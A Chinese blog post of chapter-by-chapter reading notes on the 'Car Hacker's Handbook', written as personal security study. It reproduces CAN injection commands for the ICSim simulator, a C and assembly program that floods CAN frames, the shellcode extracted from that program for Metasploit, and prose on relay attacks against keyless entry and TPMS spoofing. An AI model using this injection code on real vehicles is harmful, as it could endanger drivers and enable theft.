汽车安全 | 43分钟
《汽车黑客大曝光》读书笔记
十月 6, 2025 本文最后更新于 十月 8, 2025
CAN ICSim 硬件安全 读书笔记

国庆期间断断续续读的。

开头放一份不知道从哪得到的思维导图,格式是MindManager的mmap格式,不过用Xmind导入也能打开:

汽车黑客大曝光知识点思维导图.mmap

第1章 理解威胁模型

没什么好说的,就是浏览了一下,增加了知识点。

看作者对车的攻击面做分类,然后再细分。

介绍了DREAD,CVSS体系。

第2章 总线协议

简单介绍了CAN总线,这里才了解到CAN总线末端需要120Ω的电阻,要跨接,就是CANH和CANL之间接一个。

OBD-II连接器就是一个平行梯形的串口,我实拍了一个,丰田的在油门下面:

这里只用到了4、5、6和14、15、16

CAN总线协议的数据包格式我在之前做CTF的时候有所了解,但显然没有书里的详细。这里给出了完整的帧格式,没看懂。

CAN协议是广播的,所有ECU的通信在一个总线上跑,所以能模拟其他元件,功能寻址是广播的,物理寻址的点对点仅是逻辑上的。

CAN协议是底层的,定义在物理层和数据链路层。缺点很多。ISO-TP定义了在CAN总线上发送数据包的格式,能做到大数据传输,分块传输,接收端重组等等,主要用在UDS诊断上。

后面介绍了大量协议,CANopen特点是有大量0x0仲裁id,好判断逆向比CAN简单

后面介绍了不少协议,比如面向多媒体设备的MOST、高速总线Flexray用于时间敏感的通信比如、线控刹车之类。成本也高。

MOST和Flexray实现成本太高,很少用,而且Flexray联盟解散了,后续车辆开始用汽车以太网,汽车以太网需要解决如何与以太网通信。

OBD-II需要制造商定义其余引脚的使用

第3章 使用SocketCAN与车辆通信

我在插入pcan后,输入dmesg能够看到can_dev被加载,输入ifconfig can0能看到相关接口参数,不过返回的大多信息都是通用默认值,都是零。这是正常的

高速CAN典型速率是500Kbps,低速是250Kbps或125Kbps

后续设置波特率之类都正常,但是我没有slcan,应该需要硬件,我只插pcan可能不行。

没有完整设备就设置虚拟接口

bash
1modprobe vcan

输入dmesg就能看到虚拟CAN接口加载的消息

添加设备,设置网卡,虚拟CAN不需要设置波特率

bash
1ip link add dev vcan0 type vcan
2ip link set up vcan0

输入ifconfig vcan0就能看到网卡信息

后面介绍了can-utils工具包相关命令,有很多。常用就几个

安装附加的内核模块那里,作者说成书的时候试验性质的模块还未被包含到Linux内核中,要单独编译,但我这里的ubuntu已经是加入内核了

使用 modinfo can-isotp 就能看到信息,但是模块未被加载,需要加载一下:

bash
1# 加载ISO-TP模块
2sudo modprobe can-isotp
3
4# 验证加载状态
5lsmod | grep isotp
6# 应该能看到 can_isotp 模块

dmesg能看到:can: isotp protocol

模块已加载,且没有错误信息,所以不需要像书里一样,验证can.ko是否加载,我没有编译他,所以验证是报错的

后面一部分是SocketCAN应用程序编程,我跳过了

后面介绍的Kayak貌似与Savvycan功能差不多,都是图形化处理CAN数据包,但是这个工具为什么有个街区地图?只调用地图的can处理程序,为啥界面也有个地图

第4章 诊断和日志

软故障是间歇性故障,比如油箱盖松动,硬故障是不处理就不消失的故障,所以可以重启车辆看汽车是否重现故障来判断类型

故障有 ABCD 4类,A立即点亮故障灯,B次数够了才亮,C发句消息,通常不亮,D完全不亮

后面是DTC内容,扩展知识

UDS应该算重要内容,为什么这里只是简单介绍?可能成书的时候UDS还未被所有厂家接受

这里补充了一个点,就是消息的响应包CANID是请求包的CANID加0x8,比如0x7df + 0x8 = 0x7e8

服务id加0x40,做CTF就知道了

介绍了caringcaribou

保持诊断模式的代码:

sh
1#!/bin/sh
2while :
3do
4    cansend can0 7df#013e
5    sleep 1
6done

或者使用cangen

车上的黑匣子叫做事件数据记录器,简称EDR(奇怪的重名)

以前EDR在安全气囊模块里面,现在分布在每个ECU里,大约能保存任何时刻的前20秒的记录

CDR能插OBD上能访问主ECU数据,被称为车辆数据镜像,如果要访问其他模块数据,要插在对应设备上。

由于数据记录格式不同,CDR都是专用的,非常不方便,所以美国提出了SAE J1698协议,很多车型受这个标准影响,但仍有制造商不遵守这个标准。

自告事告呼救系统,简称ACN,事故发生时,呼叫制造商或第三方。发送的数据各个制造商都不相同

恶意意图就是恶意分子的意图

第5章 CAN总线逆向工程

到咯

前面都是工具使用,不过介绍了位掩码

1代表必须是这个数字,0代表任意数字

比如500700表示所有5XX的数值

因为:

500 = 101 0000 0000

700 = 111 0000 0000

所以前面必须是5,后面任意

这里7改成F也行的,也就是用4位二进制数据,但这里不需要,因为这个首字节是5,用二进制表示是101,才三位数,用7就行了,如果是4位数比如1010,那这种要确保精确匹配,就要用F

这也解释了我们之前的candump vcan0,780:780表示了什么

780 = 0111 1000 0000

这个掩码就是匹配CANID是780到7FF之间的数据包

后面介绍了逆向工具,wireshark貌似不太行,还是要cansniffer之类抓包,kayak我不喜欢。

我自己打算装个SavvyCan,居然那么麻烦,比以前麻烦多了。Qt作妖,贴个回答:https://github.com/collin80/SavvyCAN/discussions/992

另一个人的编译步骤,足足45步:https://github.com/collin80/SavvyCAN/discussions/804

我的回答,能够安装Qt5,但是SavvyCAN编译居然那么久。。。

居然真能插手柄控制ICSim,不过为什么我要双击按键才能达到动作。否则ICSim会闪烁。

wow,有课后作业了

请尝试在ICSim中完成以下挑战:

(1)创建“警告灯”信号,令两侧转向灯同时闪烁。

(2)创建只锁定后面两侧车门的命令。

(3)将车速表设置为尽可能接近于220mph的值。

我都是用SavvyCAN的RE Tools 下面的Sniffer工具,变动的字节会闪烁,以此判断动作对应的字节。两个同时触发就加在一起,比如左转灯是0x01,右转灯是0x02,那么一起亮就是0x03,也就是打双闪。写下答案:

(1)cansend vcan0 188#03000000

(2)cansend vcan0 19B#000003000000

(3)用上面那个保持诊断会话的脚本吧,试了几次这个刚好停在220,不过老是在0刻度抖动

1#!/bin/sh
2while :
3do
4    cansend vcan0 244#0000008E00
5done

使用小技巧,在Sniffer页面,取消全选,然后开门,会出现新的有对勾的CANID,那个就是对应动作的。然后回主页面勾选这个ID,就能看到历史消息

Sniffer页面看持续升高的然后下降的就能分辨出加速数据包

savvycan能够播放数据包和发包

第6章 ECU黑客

  • 前门(frontdoor)攻击:劫持原始设备制造商(OEM)的访问机制
  • 后门(backdoor)攻击:使用更为传统的硬件黑客手段
  • 漏洞利用:发现非预期访问机制

前门攻击说的种子密钥应该类似UDS的0x27安全访问算法

有以下方法:

  • 通过其他手段获取目标设备的固件。反汇编固件并分析代码,找到生成种子-密钥对的代码。
  • 获取可生成合法种子-密钥对的合法软件工具,例如J2534闪存重刷写工具,并使用反汇编工具分析PC端应用程序代码,判断使用的算法。
  • 观察合法工具交换密钥的过程,并分析数据对来获取其特征。
  • 制作一个设备,欺骗合法工具反复提供响应。相比纯被动方法,该方法的主要优点在于允许选择用于生成钥匙的种子。

给了俩网站,大众那个不能访问,通用的可以,是个论坛,要管理员审核后才能批准账号注册:https://pcmhacking.net/forums/index.php

前门太难,后门攻击也常用

在对任何系统的电路板进行分析时,都应该从体积最大的芯片开始。这些较大的处理器和存储芯片往往也是最为复杂的

逆向汽车固件有点复杂,使用工具,识别运行的芯片之类,这里说两个固件差异十六进制在5%左右能确定是同一个固件,只是参数不同

后面赞赏了一波IDA Pro,看来从IDA Pro诞生开始,就是这个星球上最强大的汇编工具了

后面写了ECU测试平台,一个PC电源一个ECU,有个OBD接口,说可以去垃圾场回收,或者去car-part.com买,但这个网站很贵,只运送到美加墨三国。中国还是闲鱼吧。

获取ECU线路图,给了两个网站:https://www.alldata.com/https://mitchell1.com/

第7章 ECU测试平台的构建与使用

后面没啥意义,都是搭建平台,然后买买买,而且以目前学习来看,用不到那么专业,而且买了不一定搭建成功

第8章 攻击ECU与其他嵌入式系统

根据丝印搜数据手册,google一下就有,国内访问麻烦的就用芯查查网站吧

利用 JTAG调试,或者串行线,串行线主要说的是STM32F4系列,可以用STM32F4 Discoverry套件调试。

旁路分析能绕过许多保护措施,但很贵,而且可能会造成永久性损伤

后面介绍了便宜的一种,chipwhisperer,一千美元,好贵

由于本书出版太早,很多工具可能有了平替,而且对新能源汽车不是完全适用,这里工具部分只浏览,不买。

后面到了故障注入,这个词在yichen的知识库见过,但是没有过多了解

时钟干扰:一切ECU或芯片都需要依靠内部时钟,为其执行指令提供定时。每当微控制器接收到一个时钟脉冲时,将加载一条指令,而在这条指令被解码和执行的同时,下一条指令将被加载。这就意味着需要节奏稳定的时钟脉冲,才能保证指令有充分的时间正确解码执行。但如果其中某个脉冲出现了波动,会有何后果?由于程序计数器(ProgramCounter,PC)有时间递增,但该时间又不足以在下一条指令加载前解码并执行指令,微控制器通常会跳过该条指令

用chipwhisperer演示了一些东西,但对我无用。只能当科普。

第9章 车载信息娱乐系统

通常将汽车的中央控制台触摸屏界面称为车载信息娱乐(In-VehicleInfotainment,IVI)系统。这些控制台一般运行某种操作系统,如Windows CE、Linux、QNX、Green Hills,甚至可以是以虚拟机方式运行的Android操作系统。它们可以支持很多以不同程度与车辆集成的功能。

车载信息娱乐系统提供的远程攻击面比其他任何车辆部件都广。

先是说了利用系统更新进行攻击,改造完如何绕过数字签名校验,就是哈希算法那个,简单的自己生成,自定义哈希又要固件逆向

后面就是确定更新文件类型,改造系统,app之类信息

掌握了如何更新系统后一无论是通过修改启动画面、公司标志、授权信息,还是其他途径—-就已经为寻找系统中的脆弱性做好了准备。下一步如何行动则取决于最终目的。

软件方向打不进去,只能拆硬件了,后面介绍了信息娱乐系统测试平台

GENIVI联盟是推动IVI软件的组织,但是现在已经升级成车联网联盟,官网已经变成 https://covesa.global/

不过可以使用 GENIVI系统

后面篇幅就是介绍通过docker安装系统

AGL可以从 https://www.automotivelinux.org/ 下载,不过他是驱动物理设备的,不过也可以使用QEMU虚拟机的镜像,但是我还不知道怎么搞

又要买车载信息娱乐系统,我都不知道闲鱼买的能不能用,能学多少

第10章 车间通信

这章是成书时的新通信技术,使车辆之间,车辆与路旁设备,车辆与基础设施通信。它是第一个在设计的时候就考虑的网络安全因素的汽车协议。但由于不同国家,不同制造商等等问题,这个技术还在协商。

这章讨论的技术未被落实,纯浏览,而且可能内容还会变

在V2V通信领域,车辆和路旁设备以下面三种方式之一进行交互:现有的蜂窝网络;专用短程通信技术(DedicatedShort-RangeCommunication,DSRC),这是一种短距离通信协议;或使用多种通信方式的组合。在本章中,将重点关注DSRC,因为它是V2V通信的最常用方式。

第11章 武器化CAN研究成果

“武器化”是指“以某个漏洞利用代码为对象使其易于执行”。在刚发现某个脆弱性时,可能还需要很多步骤和特定知识,才能成功触发对该脆弱性的利用程序。“武器化发现”能让你利用你的研究成果,并把它集成到一个自包含的可执行文件中。

在本章中,将介绍如何进行黑客行动(例如解锁一辆汽车),并将其集成到Metasploit

给了一个控制温度的代码清单:

c
 1#include <sys/types.h>
 2#include <sys/socket.h>
 3#include <sys/ioctl.h>
 4#include <net/if.h>
 5#include <netinet/in.h>
 6#include <linux/can.h>
 7#include <unistd.h> //我自己加的头文件,不加无法编译
 8#include <string.h>
 9int main(int argc, char *argv[]) {
10    int s;
11    struct sockaddr_can addr;
12    struct ifreq ifr;
13    struct can_frame frame;
14    s = socket(PF_CAN, SOCK_RAW, CAN_RAW);
15    strcpy(ifr.ifr_name, "vcan0");
16    ioctl(s, SIOCGIFINDEX, &ifr);
17    addr.can_family = AF_CAN;
18    addr.can_ifindex = ifr.ifr_ifindex;
19    bind(s, (struct sockaddr *)&addr, sizeof(addr));
20    frame.can_id = 0x510;
21    frame.can_dlc = 8;
22    frame.data[1] = 0xFF;
23    while(1) {
24        write(s, &frame, sizeof(struct can_frame));
25        usleep(500000);
26    }
27}

编译:gcc -o temp_shellcode temp_shellcode.c

编译出一个可执行文件,另一个终端candump监听vcan0,可以看到不断在发包,仲裁ID是0x510,第二个字节是FF。由于frame_data未初始化,所以其他字节的数据不是我们设置的。

后面居然用汇编重写,看不懂

assembly
 1section .text
 2global _start
 3_start:
 4                                    ; s = socket(PF_CAN, SOCK_RAW, CAN_RAW);
 5    push 41                         ; Socket syscall from unistd_64.h
 6    pop rax
 7    push 29                         ; PF_CAN from socket.h
 8    pop rdi
 9    push 3                          ; SOCK_RAW from socket_type.h
10    pop rsi
11    push 1                          ; CAN_RAW from can.h
12    pop rdx
13    syscall
14    mov r8, rax                     ; s / File descriptor from socket
15                                    ; strcpy(ifr.ifr_name, "vcan0");
16    sub rsp, 40                     ; struct ifreq is 40 bytes
17    xor r9, r9                      ; temp register to hold interface name
18    mov r9, 0x306e616376            ; vcan0
19    push r9
20    pop qword [rsp]
21                                    ; ioctl(s, SIOCGIFINDEX, &ifr);
22    push 16                         ; ioctrl from unistd_64.h
23    pop rax
24    mov rdi, r8                     ; s / File descriptor
25    push 0x8933                     ; SIOCGIFINDEX from ioctls.h
26    pop rsi
27    mov rdx, rsp                    ; &ifr
28    syscall
29    xor r9, r9                      ; clear r9
30    mov r9, [rsp+16]                ; ifr.ifr_ifindex
31                                    ; addr.can_family = AF_CAN;
32    sub rsp, 16                     ; sizeof sockaddr_can
33    mov word [rsp], 29              ; AF_CAN == PF_CAN
34                                    ; addr.can_ifindex = ifr.ifr_ifindex;
35    mov [rsp+4], r9
36                                    ; bind(s, (struct sockaddr *)&addr, sizeof(addr));
37    push 49                         ; bind from unistd_64.h
38    pop rax
39    mov rdi, r8                     ; s /File descriptor
40    mov rsi, rsp                    ; &addr
41    mov rdx, 16                     ; sizeof(addr)
42    syscall
43    sub rsp, 16                     ; sizeof can_frame
44    mov word [rsp], 0x510           ; frame.can_id = 0x510;
45    mov byte [rsp+4], 8             ; frame.can_dlc = 8;
46    mov byte [rsp+9], 0xFF          ; frame.data[1] = 0xFF;
47                                    ; while(1)
48loop:
49                                    ; write(s, &frame, sizeof(struct can_frame));
50    push 1                          ; write from unistd_64.h
51    pop rax
52    mov rdi, r8                     ; s / File descriptor
53    mov rsi, rsp                    ; &frame
54    mov rdx, 16                     ; sizeof can_frame
55    syscall
56                                    ; usleep(500000);
57    push 35                         ; nanosleep from unistd_64.h
58    pop rax
59    sub rsp, 16
60    xor rsi, rsi
61    mov [rsp], rsi                  ; tv_sec
62    mov dword [rsp+8], 500000       ; tv_nsec
63    mov rdi, rsp
64    syscall
65    add rsp, 16
66    jmp loop

编译:

bash
1nasm -f elf64 -o temp_shell2.o temp_shell.S
2ld -o temp_shell2 temp_shell2.o

转换为shellcode

bash
1for i in $(objdump -d temp_shell2.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo

输出:

1\x6a\x29\x58\x6a\x1d\x5f\x6a\x03\x5e\x6a\x01\x5a\x0f\x05\x49\x89\xc0\x48\x83\xec\x28\x4d\x31\xc9\x49\xb9\x76\x63\x61\x6e\x30\x00\x00\x00\x41\x51\x8f\x04\x24\x6a\x10\x58\x4c\x89\xc7\x68\x33\x89\x00\x00\x5e\x48\x89\xe2\x0f\x05\x4d\x31\xc9\x4c\x8b\x4c\x24\x10\x48\x83\xec\x10\x66\xc7\x04\x24\x1d\x00\x4c\x89\x4c\x24\x04\x6a\x31\x58\x4c\x89\xc7\x48\x89\xe6\xba\x10\x00\x00\x00\x0f\x05\x48\x83\xec\x10\x66\xc7\x04\x24\x10\x05\xc6\x44\x24\x04\x08\xc6\x44\x24\x09\xff\x6a\x01\x58\x4c\x89\xc7\x48\x89\xe6\xba\x10\x00\x00\x00\x0f\x05\x6a\x23\x58\x48\x83\xec\x10\x48\x31\xf6\x48\x89\x34\x24\xc7\x44\x24\x08\x20\xa1\x07\x00\x48\x89\xe7\x0f\x05\x48\x83\xc4\x10\xeb\xcf

后面有删除NULL的操作(这里最难的部分),但是由于易读性差没给代码,给了新的shellcode,由于我生之前所有代码生成的大小,字节都跟书里不完全一致,所以放它的新代码对我的环境来说没啥用处,环境不一样,编译结果有差距。这里就不放了

后面把shellcode或汇编放到msf的模板里加载

后面就是CAN网络的指纹识别

交互式查询:

首先查询VIN

解码VIN

交互式由于是主动探测,可以被检测到

被动式CAN总线指纹识别:

被动式CAN总线指纹识别是指监视网络流量,以收集某些车型特有的信息,然后与已知的指纹信息匹配。由于该领域的研究相对较新,截止本书成文时,只有OpenGarages 发布了可用于收集和检测总线指纹的工具。

这个工具叫c0f,停止维护十年了,这书里的许多工具都是十年前的

这个c0f的演示,给我的感觉是密码学历的词频分析

第12章 使用软件无线电攻击无线系统

又要买设备,这一章当科普

为了应用正确的解调器,首先需要具备识别某个信号所用调制方式的能力。信号调制是指无线信号中表示二进制数据的方式,它在需要区分二进制1和0时发挥作用。常用的数字信号调制有两种:幅移键控(Amplitude-Shift Keying,ASK)和频移键控(Frequency-Shift Keying, FSK)。

胎压监测系统叫做TPMS,他安装在轮胎内,把数据通过无线的方式传递给ECU,无线通过射频和蓝牙两种,前者稍多

TPMS的安全研究大多来自,这个研究论文:车内无线网安全和隐私脆弱性:胎压监测系统案例分析

使用射频接收器监听射频信号,因为信号弱,需要低噪声放大器

通常TPMS每60 / 90秒发一次信号,40km/h以下不发信号。但这因车而异。有的怠速发信息,停车也发信息。

对发动机未运转的驻泊车辆安全审计时,要确保发送唤醒信号。

车辆启动的时候要求TPMS响应,一般是轮询的

给了一个研究者开发的分析tpms信号的工具,又是十年前停更的:https://github.com/jboone/gr-tpms

我靠,居然还有跟踪车辆?这不是正常安全研究吧

利用TPMS信号触发炸药包?

然后就是获得TPMS的访问权,通过GNU Radio构造数据包,能伪造危险的PSI和温度,能触发其他发动机指示灯,能耗尽电池。

攻击遥控钥匙和防盗系统

向接收端发送大量噪音干扰接收。

通过多次质询-响应,推测出伪随机数生成的规则,然后预测下次响应,推测出后面全部编码

还能搜集信号制作字典。

逆向CAN总线

钥匙编程器和应答器复制机,能偷车。。。

后面说了PKES,无钥匙进入的流程,首先钥匙会发一个低频射频信号,车子收到确认你在附近,然后钥匙发送高频射频信号,车子收到才解锁。如果没有收到低频,那么就忽视高频信号。

攻击方式居然是中继攻击,就是钥匙持有者身边放个设备,车子身边放个设备。然后钥匙的信号会通过设备发送到车子那边。我记得打电话的时候,车钥匙的解锁信号就能通过电话传播过去。

还有就是防盗器的密码薄弱

后面说了一个例子,研究人员破解了保时捷、奥迪、宾利、兰博基尼共用的一个Megamos系统,反而被告了。

物理攻击???拿锤子砸吗

哦,是把防盗器扣下来,或者换一个假的上去

暴力破解密码键盘,这个好离谱,不过现在都类似智能锁一样,输入#作为结束,密码取#前6位。

介绍了一种真正的暴力攻击,称为“闪回:搭线攻击”,就是电影里把几根电线碰在一起发动车辆的攻击。这个我小时候见一个人在面包车上用过。当时觉得很酷

原理是,以前汽车通过钥匙转动构成点火回路,没有防盗器,没有其他安全措施,完全靠电路实现。现在这种设计已经消失了。

第13章 性能调校

常见但不被认为具有恶意的黑客技术

这也能写进来吗,感觉更像修理工的手册

列举了几个性能调校的例子,大多对发动机电脑重编程,原来那么早汽车里面就用电脑了

由于各个国家都有禁止改装、拆卸之类的法律,所以性能调校要考虑当地法律

没有最优的性能策略,都是取舍和折中。调校是保证发动机不自毁前提下,将其按某个特定目标进行配置的一种折中。

后面说了刷机、改芯,都是重编程的不同场景名词,不过刷机不需要物理拆卸,而是通过某些协议进行编程。

太过遥远。当科普看

不对原厂电脑逆向的话,也可以买一个部件替换掉他。MegaSquirt就是一种独立的发动机控制电脑,它几乎能跟任何喷油式发动机适配。

附录

介绍了书里提到的工具等等,居然介绍了SavvyCAN,好像在书里没见过,反正比Kayak好用多了

这里许多硬件软件,都停留在了这本书出版的时候,感觉像是为了这本书才搞得,作者自己的产品这样很正常,但是其他研究者的仓库也都停止了十一年左右。

附录2是诊断代码和PID含义,放个百科链接:https://zh.wikipedia.org/wiki/OBD-II_PID

后面说了一下OpenGarages,这个是爱好者组成的小组,全世界各地可以申请,只要填写申请单,你对应地区的人可以到你车库做改装,研究等等。不过在国内貌似没有人申请。如果有,那么对没有车的学习者来说是莫大的好事。不过可能性很低,第一网安圈子小,汽车安全更小,有车库的人少,愿意分享出来给大家折腾更少,这些条件加起来,很难实现。

本书完

感觉很像科普啊,之前在豆瓣上看到汽车安全的书,就这本评分高,其他的譬如《智能汽车安全攻防大揭秘》和《智能汽车渗透实战:从漏洞挖掘到控车攻击》,都有评论说像科普。

但是这本书虽然介绍了许多种攻击面,许多种手法,但都没有深入下去,就是给初学者建立一个整车测试流程的,而且不是新能源汽车。

技术提升很少,因为软件方面只有ICSim那里有几个挑战,我做完了。但是其他方面均没有练习。虽然硬件没有,但是就算买了,也并不会学到很多,书里很简略。而且提到一个买一个不太现实。

明天国庆假期结束,开始上班,期间把狼组的招商车研做做吧。VSEC那个有点做累了。RAMN好贵,肉疼,还不知道能不能正常使用。